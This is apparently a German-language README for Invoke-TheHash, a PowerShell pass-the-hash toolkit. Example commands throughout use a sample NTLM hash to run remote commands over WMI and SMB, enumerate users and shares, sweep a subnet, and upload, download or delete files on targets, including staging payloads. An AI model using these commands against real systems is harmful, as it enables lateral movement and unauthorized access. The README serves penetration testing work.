Invoke-TheHash
Invoke-TheHash enthält PowerShell-Funktionen zur Durchführung von Pass-the-Hash-WMI- und SMB-Aufgaben. WMI- und SMB-Verbindungen werden über den .NET TCPClient hergestellt. Die Authentifizierung erfolgt durch die Übergabe eines NTLM-Hashs an das NTLMv2-Authentifizierungsprotokoll. Lokale Administratorrechte sind clientseitig nicht erforderlich.
Voraussetzungen
Mindestens PowerShell 2.0
Import
Import-Module ./Invoke-TheHash.psd1
oder
. ./Invoke-WMIExec.ps1
. ./Invoke-SMBExec.ps1
. ./Invoke-SMBEnum.ps1
. ./Invoke-SMBClient.ps1
. ./Invoke-TheHash.ps1
Funktionen
- Invoke-WMIExec
- Invoke-SMBExec
- Invoke-SMBEnum
- Invoke-SMBClient
- Invoke-TheHash
Invoke-WMIExec
- Funktion zur Ausführung von WMI-Befehlen.
Parameter:
- Target – Hostname oder IP-Adresse des Ziels.
- Username – Für die Authentifizierung zu verwendender Benutzername.
- Domain – Für die Authentifizierung zu verwendende Domäne. Dieser Parameter wird bei lokalen Konten oder bei Verwendung von @domain nach dem Benutzernamen nicht benötigt.
- Hash – NTLM-Passwort-Hash für die Authentifizierung. Diese Funktion akzeptiert das Format LM:NTLM oder NTLM.
- Command – Auf dem Ziel auszuführender Befehl. Wenn kein Befehl angegeben wird, prüft die Funktion lediglich, ob der Benutzername und der Hash Zugriff auf WMI auf dem Ziel haben.
- Sleep – Standardwert = 10 Millisekunden: Legt die Start-Sleep-Werte der Funktion in Millisekunden fest.
Beispiel:
Invoke-WMIExec -Target 192.168.100.20 -Domain TESTDOMAIN -Username TEST -Hash F6F38B793DB6A94BA04A52F1D3EE92F0 -Command "command or launcher to execute" -verbose
Screenshot:

Invoke-SMBExec
- SMB (PsExec)-Befehlsausführungsfunktion mit Unterstützung für SMB1, SMB2.1, mit und ohne SMB-Signierung.
Parameter:
- Target – Hostname oder IP-Adresse des Ziels.
- Username – Für die Authentifizierung zu verwendender Benutzername.
- Domain – Für die Authentifizierung zu verwendende Domäne. Dieser Parameter wird bei lokalen Konten oder bei Verwendung von @domain nach dem Benutzernamen nicht benötigt.
- Hash – NTLM-Passwort-Hash für die Authentifizierung. Diese Funktion akzeptiert das Format LM:NTLM oder NTLM.
- Command – Auf dem Ziel auszuführender Befehl. Wenn kein Befehl angegeben wird, prüft die Funktion lediglich, ob der Benutzername und der Hash Zugriff auf SCM auf dem Ziel haben.
- CommandCOMSPEC – Standardwert = Aktiviert: %COMSPEC% /C vor den Befehl stellen.
- Service – Standardwert = 20 Zeichen zufällig: Name des auf dem Ziel zu erstellenden und zu löschenden Dienstes.
- Sleep – Standardwert = 150 Millisekunden: Legt die Start-Sleep-Werte der Funktion in Millisekunden fest.
- Version – Standardwert = Auto: (Auto,1,2.1) Erzwingt die SMB-Version. Das Standardverhalten führt eine SMB-Versionsaushandlung durch und verwendet SMB2.1, falls vom Ziel unterstützt.
Beispiel:
Invoke-SMBExec -Target 192.168.100.20 -Domain TESTDOMAIN -Username TEST -Hash F6F38B793DB6A94BA04A52F1D3EE92F0 -Command "command or launcher to execute" -verbose
Beispiel:
Überprüfen der SMB-Signierungsanforderungen auf dem Ziel.
Invoke-SMBExec -Target 192.168.100.20
Screenshot:

Invoke-SMBEnum
- Invoke-SMBEnum führt Aufgaben zur Aufzählung von Benutzern, Gruppen, NetSessions und Freigaben über SMB2.1 mit und ohne SMB-Signierung durch.
Parameter:
- Target – Hostname oder IP-Adresse des Ziels.
- Username – Für die Authentifizierung zu verwendender Benutzername.
- Domain – Für die Authentifizierung zu verwendende Domäne. Dieser Parameter wird bei lokalen Konten oder bei Verwendung von @domain nach dem Benutzernamen nicht benötigt.
- Hash – NTLM-Passwort-Hash für die Authentifizierung. Diese Funktion akzeptiert das Format LM:NTLM oder NTLM.
- Action – (All,Group,NetSession,Share,User) Standardwert = Share: Auszuführende Aufzählungsaktion.
- Group – Standardwert = Administrators: Aufzuzählende Gruppe.
- Sleep – Standardwert = 150 Millisekunden: Legt die Start-Sleep-Werte der Funktion in Millisekunden fest.
- Version – Standardwert = Auto: (Auto,1,2.1) Erzwingt die SMB-Version. Das Standardverhalten führt eine SMB-Versionsaushandlung durch und verwendet SMB2.1, falls vom Ziel unterstützt. Hinweis: Nur die Signierungsprüfung funktioniert mit SMB1.
Beispiel:
Invoke-SMBEnum -Target 192.168.100.20 -Domain TESTDOMAIN -Username TEST -Hash F6F38B793DB6A94BA04A52F1D3EE92F0 -verbose
Screenshot:

Invoke-SMBClient
- SMB-Client-Funktion mit Unterstützung für SMB2.1 und SMB-Signierung. Diese Funktion bietet in erster Linie SMB-Dateifreigabefunktionen für die Arbeit mit Hashes, die keine Berechtigung zur Remotebefehlsausführung haben. Diese Funktion kann auch zum Staging von Payloads für die Verwendung mit Invoke-WMIExec und Invoke-SMBExec verwendet werden. Hinweis: Invoke-SMBClient basiert auf dem .NET TCPClient und verwendet nicht den Windows SMB-Client. Invoke-SMBClient ist deutlich langsamer als der Windows-Client.
Parameter:
- Username – Für die Authentifizierung zu verwendender Benutzername.
- Domain – Für die Authentifizierung zu verwendende Domäne. Dieser Parameter wird bei lokalen Konten oder bei Verwendung von @domain nach dem Benutzernamen nicht benötigt.
- Hash – NTLM-Passwort-Hash für die Authentifizierung. Diese Funktion akzeptiert das Format LM:NTLM oder NTLM.
- Action – Standardwert = List: (List/Recurse/Delete/Get/Put) Auszuführende Aktion.
-
- List: Listet den Inhalt eines Verzeichnisses auf.
-
- Recurse: Listet den Inhalt eines Verzeichnisses und aller Unterverzeichnisse auf.
-
- Delete: Löscht eine Datei.
-
- Get: Lädt eine Datei herunter.
-
- Put: Lädt eine Datei hoch und setzt die Erstellungs-, Zugriffs- und letzten Schreibzeitpunkte passend zur Quelldatei.
- Source
-
- List und Recurse: UNC-Pfad zu einem Verzeichnis.
-
- Delete: UNC-Pfad zu einer Datei.
-
- Get: UNC-Pfad zu einer Datei.
-
- Put: Hochzuladende Datei. Wenn kein vollständiger Pfad angegeben ist, muss sich die Datei im aktuellen Verzeichnis befinden. Bei Verwendung des 'Modify'-Schalters muss 'Source' ein Byte-Array sein.
- Destination
-
- List und Recurse: Nicht verwendet.
-
-
- Get: Falls verwendet, ist der Wert der neue Dateiname der heruntergeladenen Datei. Wenn kein vollständiger Pfad angegeben ist, wird die Datei im aktuellen Verzeichnis erstellt.
-
- Put: UNC-Pfad für die hochgeladene Datei. Der Dateiname muss angegeben werden.
- Modify
-
- List und Recurse: Die Funktion gibt ein Objekt mit dem Verzeichnisinhalt aus.
-
-
- Get: Die Funktion gibt ein Byte-Array der heruntergeladenen Datei aus, anstatt die Datei auf die Festplatte zu schreiben. Es wird empfohlen, dies nur bei kleineren Dateien zu verwenden und die Ausgabe in eine Variable umzuleiten.
Beispiel:
Liste den Inhalt eines Stammverzeichnisses einer Freigabe auf.
Invoke-SMBClient -Domain TESTDOMAIN -Username TEST -Hash F6F38B793DB6A94BA04A52F1D3EE92F0 -Source \\server\share -verbose
Beispiel:
Liste rekursiv den Inhalt einer Freigabe ab dem Stammverzeichnis auf.
Invoke-SMBClient -Domain TESTDOMAIN -Username TEST -Hash F6F38B793DB6A94BA04A52F1D3EE92F0 -Action Recurse -Source \\server\share
Beispiel:
Liste rekursiv den Inhalt eines Unterverzeichnisses einer Freigabe auf und gib nur die Inhaltsausgabe an eine Variable zurück.
$directory_contents = Invoke-SMBClient -Domain TESTDOMAIN -Username TEST -Hash F6F38B793DB6A94BA04A52F1D3EE92F0 -Action Recurse -Source \\server\share\subdirectory -Modify
Beispiel:
Lösche eine Datei auf einer Freigabe.
Invoke-SMBClient -Domain TESTDOMAIN -Username TEST -Hash F6F38B793DB6A94BA04A52F1D3EE92F0 -Action Delete -Source \\server\share\file.txt
Beispiel:
Lösche eine Datei in Unterverzeichnissen innerhalb einer Freigabe.
Invoke-SMBClient -Domain TESTDOMAIN -Username TEST -Hash F6F38B793DB6A94BA04A52F1D3EE92F0 -Action Delete -Source \\server\share\subdirectory\subdirectory\file.txt
Beispiel:
Lade eine Datei von einer Freigabe herunter.
Invoke-SMBClient -Domain TESTDOMAIN -Username TEST -Hash F6F38B793DB6A94BA04A52F1D3EE92F0 -Action Get -Source \\server\share\file.txt
Beispiel:
Lade eine Datei aus einem Unterverzeichnis einer Freigabe herunter und lege einen neuen Dateinamen fest.
Invoke-SMBClient -Domain TESTDOMAIN -Username TEST -Hash F6F38B793DB6A94BA04A52F1D3EE92F0 -Action Get -Source \\server\share\subdirectory\file.txt -Destination file.txt
Beispiel:
Lade eine Datei von einer Freigabe in eine Byte-Array-Variable statt auf die Festplatte herunter.
$password_file = Invoke-SMBClient -Domain TESTDOMAIN -Username TEST -Hash F6F38B793DB6A94BA04A52F1D3EE92F0 -Action Get -Source \\server\share\file.txt -Modify
Beispiel:
Lade eine Datei in ein Unterverzeichnis einer Freigabe hoch.
Invoke-SMBClient -Domain TESTDOMAIN -Username TEST -Hash F6F38B793DB6A94BA04A52F1D3EE92F0 -Action Put -Source file.exe -Destination \\server\share\subdirectory\file.exe
Beispiel:
Lade eine Datei aus einer Byte-Array-Variable auf eine Freigabe hoch.
Invoke-SMBClient -Domain TESTDOMAIN -Username TEST -Hash F6F38B793DB6A94BA04A52F1D3EE92F0 -Action Put -Source $file_byte_array -Destination \\server\share\file.txt -Modify
Screenshot:

Invoke-TheHash
- Funktion zum Ausführen von Invoke-TheHash-Funktionen gegen mehrere Ziele.
Parameter:
- Type – Legt die gewünschte Invoke-TheHash-Funktion fest. Setzen Sie entweder auf SMBClient, SMBEnum, SMBExec oder WMIExec.
- Target – Liste von Hostnamen, IP-Adressen, CIDR-Notation oder IP-Bereichen für Ziele.
- TargetExclude – Liste von Hostnamen, IP-Adressen, CIDR-Notation oder IP-Bereichen, die aus der Liste oder den Zielen ausgeschlossen werden sollen.
- PortCheckDisable – (Schalter) Deaktiviert die WMI- oder SMB-Portprüfung. Da diese Funktion noch nicht threaded ist, dient die Portprüfung dazu, die Funktion zu beschleunigen, indem ein offener WMI- oder SMB-Port überprüft wird, bevor eine vollständige synchrone TCPClient-Verbindung versucht wird.
- PortCheckTimeout – Standardwert = 100: Legt das Timeout für keine Antwort in Millisekunden für die WMI- oder SMB-Portprüfung fest.
- Username – Für die Authentifizierung zu verwendender Benutzername.
- Domain – Für die Authentifizierung zu verwendende Domäne. Dieser Parameter wird bei lokalen Konten oder bei Verwendung von @domain nach dem Benutzernamen nicht benötigt.
- Hash – NTLM-Passwort-Hash für die Authentifizierung. Dieses Modul akzeptiert das Format LM:NTLM oder NTLM.
- Command – Auf dem Ziel auszuführender Befehl. Wenn kein Befehl angegeben wird, prüft die Funktion lediglich, ob der Benutzername und der Hash Zugriff auf WMI oder SCM auf dem Ziel haben.
- CommandCOMSPEC – Standardwert = Aktiviert: Nur SMBExec-Typ. Stellt %COMSPEC% /C dem Befehl voran.
- Service – Standardwert = 20 Zeichen zufällig: Nur SMBExec-Typ. Name des auf dem Ziel zu erstellenden und zu löschenden Dienstes.
- SMB1 – (Schalter) Erzwingt SMB1. Nur SMBExec-Typ. Das Standardverhalten führt eine SMB-Versionsaushandlung durch und verwendet SMB2, falls vom Ziel unterstützt.
- Sleep – Standardwert = WMI 10 Millisekunden, SMB 150 Millisekunden: Legt die Start-Sleep-Werte der Funktion in Millisekunden fest.
Beispiel:
Invoke-TheHash -Type WMIExec -Target 192.168.100.0/24 -TargetExclude 192.168.100.50 -Username Administrator -Hash F6F38B793DB6A94BA04A52F1D3EE92F0
Screenshot:
